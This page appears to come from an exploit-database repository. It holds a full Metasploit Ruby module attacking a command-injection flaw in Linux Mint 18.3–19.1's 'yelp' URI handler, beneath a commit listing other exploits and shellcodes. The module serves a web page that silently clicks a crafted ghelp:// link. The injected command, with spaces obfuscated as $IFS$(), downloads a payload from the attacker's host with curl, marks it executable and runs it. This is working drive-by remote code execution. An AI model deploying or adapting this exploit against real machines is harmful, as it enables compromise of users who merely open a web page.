4afcc04eda
24 changes to exploits/shellcodes Linux Mint 18.3-19.1 - 'yelp' Command Injection FaceSentry Access Control System 6.4.8 - Remote SSH Root WorkSuite PRM 2.4 - 'password' SQL Injection CiuisCRM 1.6 - 'eventType' SQL Injection Varient 1.6.1 - SQL Injection PowerPanel Business Edition - Cross-Site Scripting ZoneMinder 1.32.3 - Cross-Site Scripting SAP Crystal Reports - Information Disclosure Sahi pro 8.x - Directory Traversal CyberPanel 1.8.4 - Cross-Site Request Forgery FaceSentry Access Control System 6.4.8 - Remote Command Injection FaceSentry Access Control System 6.4.8 - Cross-Site Request Forgery FaceSentry Access Control System 6.4.8 - Remote Root Exploit Linux/ARM64 - execve(_/bin/sh__ NULL_ NULL) Shellcode (40 Bytes) Linux/ARM64 - Bind (4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (164 bytes) Linux/ARM64 - Reverse (127.0.0.1:4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (128 bytes) Linux/ARM64 - Bind (4444/TCP) Shell (/bin/sh) + IPv6 Shellcode (176 bytes) Linux/ARM64 - Reverse (::1:4444/TCP) Shell (/bin/sh) +IPv6 Shellcode (140 bytes) Linux/ARM64 - Read /etc/passwd Shellcode (120 Bytes) Linux/ARM64 - Egghunter (PWN!PWN!) + execve(_/bin/sh__ NULL_ NULL) + mprotect() Shellcode (88 Bytes) Linux/ARM64 - mmap() + read() stager + execve(_/bin/sh__ NULL_ NULL) Shellcode (60 Bytes) Linux/ARM64 - Jump Back Shellcode + execve(_/bin/sh__ NULL_ NULL) Shellcode (8 Bytes) Linux/ARM64 - execve(_/bin/sh__ [_/bin/sh_]_ NULL) Shellcode (48 Bytes) Linux/x86 - execve /bin/sh using JMP-CALL-POP Shellcode (21 bytes)
94 lines
No EOL
3.2 KiB
Ruby
Executable file
94 lines
No EOL
3.2 KiB
Ruby
Executable file
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
# Exploit from github repro: https://github.com/b1ack0wl/linux_mint_poc
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Linux Mint 'yelp' URI handler command injection vulnerability",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability within the "ghelp", "help" and "man" URI handlers within
|
|
Linux Mint's "ubuntu-system-adjustments" package. Invoking any one the URI handlers will call
|
|
the python script "/usr/local/bin/yelp" with the contents of the supplied URI handler as its argument.
|
|
The script will then search for the strings "gnome-help" or "ubuntu-help" and if doesn't find either
|
|
of them it'll then execute os.system("/usr/bin/yelp %s" % args). User interaction is required to exploit
|
|
this vulnerability.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'b1ack0wl' # vuln discovery and exploit dev
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'WfsDelay' => 60
|
|
},
|
|
'Platform' => 'linux',
|
|
'Targets' =>
|
|
[
|
|
[ 'Linux Mint 18.3 and 19.1',
|
|
{
|
|
'Arch' => ARCH_X64
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def generate_exploit_html()
|
|
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
|
|
srv_host = datastore['LHOST']
|
|
else
|
|
srv_host = datastore['SRVHOST']
|
|
end
|
|
@filename = rand_text_alpha(4)
|
|
cmd_inj = "curl http://#{srv_host}:#{datastore['SRVPORT']}/#{@service_path} -o /tmp/#{@filename};chmod 777 /tmp/#{@filename};/tmp/#{@filename} &".gsub(' ','$IFS$()') # Cheap way to add spaces since chrome percent encodes spaces (%20).
|
|
html = %Q|
|
|
<html>
|
|
<head>
|
|
<meta content="text/html;charset=utf-8" http-equiv="Content-Type">
|
|
<meta content="utf-8" http-equiv="encoding">
|
|
<title>paparoachfanclubdotcom</title>
|
|
</head>
|
|
<body>
|
|
<script>
|
|
lmao = document.createElement('a');
|
|
lmao.href= "ghelp://$(#{cmd_inj})";
|
|
document.body.appendChild(lmao); /* Needed to work with Firefox */
|
|
lmao.click();
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
|
return html
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
agent = request.headers['User-Agent']
|
|
if agent =~ /curl\/\d/
|
|
# Command has been executed. Serve up the payload
|
|
exe_payload = generate_payload_exe()
|
|
print_status("Sending payload...")
|
|
send_response(cli, exe_payload)
|
|
register_file_for_cleanup("/tmp/#{@filename}")
|
|
return
|
|
else
|
|
html = generate_exploit_html()
|
|
print_status("Sending HTML...")
|
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
|
end
|
|
end
|
|
end |